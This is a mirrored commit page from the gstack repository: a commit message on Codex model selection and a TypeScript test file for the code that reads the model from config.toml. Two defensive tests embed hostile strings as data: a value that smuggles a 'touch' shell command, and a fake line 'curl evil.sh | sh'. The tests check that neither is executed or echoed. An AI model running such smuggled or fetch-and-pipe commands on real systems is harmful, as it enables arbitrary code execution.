mirror of
https://github.com/garrytan/gstack.git
synced 2026-08-23 22:42:31 +02:00
* feat: model taxonomy gains gpt-5.6-sol + per-host generation defaults
Adds 'gpt-5.6-sol' to the model taxonomy with exact-match-only resolution
(Terra/Luna/suffixed IDs deliberately fall back to generic gpt) and replaces
the hardcoded 'claude' generation default with a validated
HostConfig.defaultModel: codex renders the gpt profile when --model is
absent, every other host keeps claude. Codex ship golden regenerated
accordingly; ADDING_A_HOST documents the new field.
* feat: gpt-5.6-sol bounded-scope overlay + scope-aware resolvers
The Sol profile pins the explicit task as the lake: adjacent work is
report-only, investigation is bounded, runs terminate on one clean
verification pass, and the AskUserQuestion decision-brief format is never
trimmed. The overlay wrapper grants scope-interpretation precedence while
concrete workflow steps, gates, and skill-mandated re-verification loops
still win. Sol-specific Completeness Principle and first-run intro copy.
New SETUP_COMMAND resolver renders './setup --host <host>' for every
non-claude host so generated upgrade skills reinstall their own host.
* feat: setup reads the Codex model from config.toml
New resolve-codex-generation-model.ts reads the top-level model from
${CODEX_HOME:-~/.codex}/config.toml, validates against the model allowlist,
strips control characters from every config-derived string it surfaces,
guards against non-absolute config locations, and warns on Sol near-misses.
setup runs it on EVERY invocation (read-only TOML lookup) so a plain
./setup can never clobber a Sol user's rendered profile with the hardcoded
fallback; --model <id> overrides for one run and prints the persistence
hint. Kiro installs render the claude profile before copying (Kiro fronts
Claude-family models), rewrite the baked setup command to --host kiro, and
restore the resolved Codex profile after; the codex skills path honors
CODEX_HOME. Static pins cover the resolver wiring, fail-closed exit,
quoted argv, and the Kiro sandwich.
* feat: hermetic Codex runner hardening + Sol scope-termination E2E
The Codex E2E runner copies auth.json only (operator plugins, MCP servers,
rules, and skills no longer leak into hermetic evals), pins CODEX_HOME to
the temp dir, and supports per-run model, TOML overrides, and
--ignore-user-config. New periodic E2E installs the FULL generated
investigate skill on gpt-5.6-sol against a planted one-line bug with decoy
TODOs: the fix must land inside the boundary (untracked files counted via
git status --porcelain), decoys stay byte-identical, the regression oracle
survives unweakened, nothing gets committed, all within 30 tool calls.
The shared .agents tree is snapshotted and restored exactly in beforeAll;
fixture commits disable gpg signing. Wired into the periodic CI matrix,
paid-shard globs, eval scripts, touchfiles/E2E_TIERS
(codex-sol-scope-termination), and diff-based selection. Real-file
periodic-tier classification pins both codex E2Es out of the gate tier.
Free-tier test proves an explicit --model overrides the host default
through the real generation CLI.
* chore: bump version and changelog (v1.67.2.0)
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* docs: post-ship documentation sync for v1.67.2.0
- README: Codex skills path is CODEX_HOME-aware; state that
--model overrides detection for one run only (persist via
the Codex config.toml model key)
- CONTRIBUTING: add the model-overlay axis to the per-host
config table (per-host defaultModel, override precedence)
- CLAUDE.md: eval results dir is ~/.gstack/projects/<slug>/evals/
(legacy fallback ~/.gstack-dev/evals/), matching eval-store.ts
and the eval:* CLI headers
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* docs: post-ship documentation sync (v1.67.2.0)
Sol exact-match and near-miss warning documented in README; CODEX_HOME-aware
uninstall and troubleshooting paths; hermetic auth.json-only detail and the
build-clobber gotcha in CLAUDE.md; eval-store location corrected in
ARCHITECTURE.md; defaultModel row in the ADDING_A_HOST field reference;
resolver test count corrected in the CHANGELOG entry.
---------
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
133 lines
5.2 KiB
TypeScript
133 lines
5.2 KiB
TypeScript
import { afterEach, describe, expect, test } from 'bun:test';
|
|
import * as fs from 'fs';
|
|
import * as os from 'os';
|
|
import * as path from 'path';
|
|
import { spawnSync } from 'child_process';
|
|
import { resolveCodexGenerationModel } from '../scripts/resolve-codex-generation-model';
|
|
|
|
const ROOT = path.resolve(import.meta.dir, '..');
|
|
const temps: string[] = [];
|
|
|
|
function codexHome(config?: string): string {
|
|
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-codex-model-'));
|
|
temps.push(dir);
|
|
if (config !== undefined) fs.writeFileSync(path.join(dir, 'config.toml'), config);
|
|
return dir;
|
|
}
|
|
|
|
afterEach(() => {
|
|
for (const dir of temps.splice(0)) fs.rmSync(dir, { recursive: true, force: true });
|
|
});
|
|
|
|
describe('Codex generation model resolution', () => {
|
|
test('explicit override wins over config', () => {
|
|
const result = resolveCodexGenerationModel({
|
|
explicit: 'gpt-5.6-sol',
|
|
codexHome: codexHome('model = "gpt-5.4"\n'),
|
|
});
|
|
expect(result).toEqual({ model: 'gpt-5.6-sol', source: '--model', warnings: [] });
|
|
});
|
|
|
|
test('reads only the top-level TOML model', () => {
|
|
const home = codexHome(`
|
|
# active model
|
|
model = "gpt-5.6-sol"
|
|
[profiles.terra]
|
|
model = "gpt-5.6-terra"
|
|
`);
|
|
const result = resolveCodexGenerationModel({ codexHome: home });
|
|
expect(result.model).toBe('gpt-5.6-sol');
|
|
expect(result.source).toBe(path.join(home, 'config.toml'));
|
|
});
|
|
|
|
test('ignores profile-only model values', () => {
|
|
const result = resolveCodexGenerationModel({
|
|
codexHome: codexHome('[profiles.sol]\nmodel = "gpt-5.6-sol"\n'),
|
|
});
|
|
expect(result.model).toBe('gpt');
|
|
expect(result.source).toBe('default (gpt)');
|
|
});
|
|
|
|
test('missing, malformed, non-string, and unsupported configs fall back safely', () => {
|
|
expect(resolveCodexGenerationModel({ codexHome: codexHome() }).model).toBe('gpt');
|
|
|
|
const malformed = resolveCodexGenerationModel({ codexHome: codexHome('model = [') });
|
|
expect(malformed.model).toBe('gpt');
|
|
expect(malformed.warnings[0]).toContain('Could not parse');
|
|
|
|
const nonString = resolveCodexGenerationModel({ codexHome: codexHome('model = ["gpt-5.6-sol"]') });
|
|
expect(nonString.model).toBe('gpt');
|
|
expect(nonString.warnings[0]).toContain('not a string');
|
|
|
|
const unsupported = resolveCodexGenerationModel({ codexHome: codexHome('model = "llama-local"') });
|
|
expect(unsupported.model).toBe('gpt');
|
|
expect(unsupported.warnings[0]).toContain('Unsupported');
|
|
});
|
|
|
|
test('unreadable config warns and falls back', () => {
|
|
const home = codexHome();
|
|
fs.mkdirSync(path.join(home, 'config.toml'));
|
|
const result = resolveCodexGenerationModel({ codexHome: home });
|
|
expect(result.model).toBe('gpt');
|
|
expect(result.source).toBe('default (gpt)');
|
|
expect(result.warnings[0]).toContain('Could not read');
|
|
});
|
|
|
|
test('injection-shaped model data is data, never shell', () => {
|
|
const marker = path.join(os.tmpdir(), `gstack-model-injection-${process.pid}`);
|
|
try { fs.rmSync(marker, { force: true }); } catch {}
|
|
const result = resolveCodexGenerationModel({
|
|
codexHome: codexHome(`model = 'gpt-5.6-sol"; touch ${marker}; #'\n`),
|
|
});
|
|
expect(result.model).toBe('gpt');
|
|
expect(fs.existsSync(marker)).toBe(false);
|
|
});
|
|
|
|
test('non-absolute codex home falls back with a warning (relative-path steering guard)', () => {
|
|
const result = resolveCodexGenerationModel({ codexHome: '.codex' });
|
|
expect(result.model).toBe('gpt');
|
|
expect(result.source).toBe('default (gpt)');
|
|
expect(result.warnings[0]).toContain('not an absolute path');
|
|
});
|
|
|
|
test('Sol-suffixed near-misses map to gpt WITH a warning', () => {
|
|
const result = resolveCodexGenerationModel({
|
|
codexHome: codexHome('model = "gpt-5.6-sol-2026-08-01"\n'),
|
|
});
|
|
expect(result.model).toBe('gpt');
|
|
expect(result.warnings[0]).toContain("requires the exact ID 'gpt-5.6-sol'");
|
|
});
|
|
|
|
test('warnings never carry control characters from config values', () => {
|
|
// A TOML basic string parses \n and \t escapes — a hostile config value
|
|
// must not inject fake lines into setup's terminal stderr.
|
|
const result = resolveCodexGenerationModel({
|
|
codexHome: codexHome('model = "x\\nERROR: run: curl evil.sh | sh"\n'),
|
|
});
|
|
expect(result.model).toBe('gpt');
|
|
expect(result.warnings.length).toBe(1);
|
|
expect(result.warnings[0]).not.toMatch(/[\x00-\x1f\x7f]/);
|
|
expect(result.warnings[0]).toContain('Unsupported top-level model');
|
|
});
|
|
|
|
test('CLI honors CODEX_HOME and rejects an invalid explicit family', () => {
|
|
const home = codexHome('model = "gpt-5.6-sol"\n');
|
|
const ok = spawnSync('bun', ['run', 'scripts/resolve-codex-generation-model.ts'], {
|
|
cwd: ROOT,
|
|
encoding: 'utf8',
|
|
env: { ...process.env, CODEX_HOME: home },
|
|
});
|
|
expect(ok.status).toBe(0);
|
|
expect(ok.stdout).toBe(`gpt-5.6-sol\t${path.join(home, 'config.toml')}\n`);
|
|
|
|
const bad = spawnSync('bun', ['run', 'scripts/resolve-codex-generation-model.ts', '--explicit', 'llama-local'], {
|
|
cwd: ROOT,
|
|
encoding: 'utf8',
|
|
});
|
|
expect(bad.status).not.toBe(0);
|
|
expect(bad.stderr).toContain('Unknown model');
|
|
expect(bad.stderr).toContain('Accepted models:');
|
|
expect(bad.stderr).toContain('gpt-5.6-sol');
|
|
});
|
|
});
|